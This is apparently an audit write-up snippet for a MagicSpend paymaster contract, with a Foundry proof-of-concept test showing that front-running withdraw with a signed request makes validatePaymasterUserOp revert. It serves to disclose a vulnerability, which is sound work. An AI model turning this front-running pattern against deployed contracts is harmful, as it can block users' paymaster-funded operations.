function validatePaymasterUserOp
    (PackedUserOperation calldata userOp, bytes32 userOpHash, uint256 maxCost)
    external returns (bytes memory context, uint256 validationData);

function postOp
    (PostOpMode mode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)
    external;
file:https:
 function withdraw(WithdrawRequest memory withdrawRequest) external {
        _validateRequest(msg.sender, withdrawRequest);

        if (!isValidWithdrawSignature(msg.sender, withdrawRequest)) {
            revert InvalidSignature();
        }

        if (block.timestamp > withdrawRequest.expiry) {
            revert Expired();
        }

        // reserve funds for gas, will credit user with difference in post op
        _withdraw(withdrawRequest.asset, msg.sender, withdrawRequest.amount);
    }
    function test_frontRuning() public {  //@audit POC HIGH 1
        MagicSpend.WithdrawRequest memory WithdrawRequest = MagicSpend.WithdrawRequest({
            asset: asset,
            amount: amount, 
            nonce: nonce,
            expiry: expiry,
            signature: _getSignature()
        });

        UserOperation memory userOp = UserOperation({
            sender: withdrawer,
            nonce: 0,
            initCode: "",
            callData: "",
            callGasLimit: 49152,
            verificationGasLimit: 378989,
            preVerificationGas: 273196043,
            maxFeePerGas: 1000304,
            maxPriorityFeePerGas: 1000000,
            paymasterAndData: abi.encodePacked(address(magic), abi.encode(WithdrawRequest)),
            signature: ""
        });

        magic.withdraw(WithdrawRequest); //Front runing the validatePaymasterUserOp operation

        bytes32 userOpHash = sha256("hi");
        uint256 maxCost = amount - 10;

        vm.expectRevert();
        magic.validatePaymasterUserOp(userOp, userOpHash, maxCost);
    }
